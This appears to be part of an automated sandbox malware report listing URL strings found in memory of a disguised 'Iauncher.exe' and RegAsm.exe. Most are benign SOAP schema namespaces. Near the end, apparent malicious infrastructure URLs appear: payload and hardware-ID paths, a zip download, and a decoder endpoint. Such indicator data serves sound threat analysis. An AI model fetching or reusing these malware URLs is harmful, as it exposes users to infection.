Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3674975399.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000025EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000025EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000025EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3ResponseD
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vimeo.com/api/v2/video/
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3674975399.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002BA0000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txtd
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txtt-
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildName.txtd
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildName.txtt-
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildZipName.txtd
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildZipName.txtt-
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/hwids.txt
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/hwids.txtd
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/hwid.txt
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/hwid.txtd
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://antiloxss.usite.pro/STLprograms/NEW/z-Closing.txt
Source: Iauncher.exe, Iauncher.exe, 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmp, RegAsm.exe, 0000000D.00000002.1431945457.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: Iauncher.exe	String found in binary or memory: https://communitykeyv1.000webhostapp.com/Decoder4.php?string=
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitgo.org
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitgo.org/Iauncher.zip
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitgo.org/Iauncher.zip&
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitgo.org/Iauncher.zipd
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A9B000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/516730/what-does-the-visual-studio-any-cpu-target-mean&
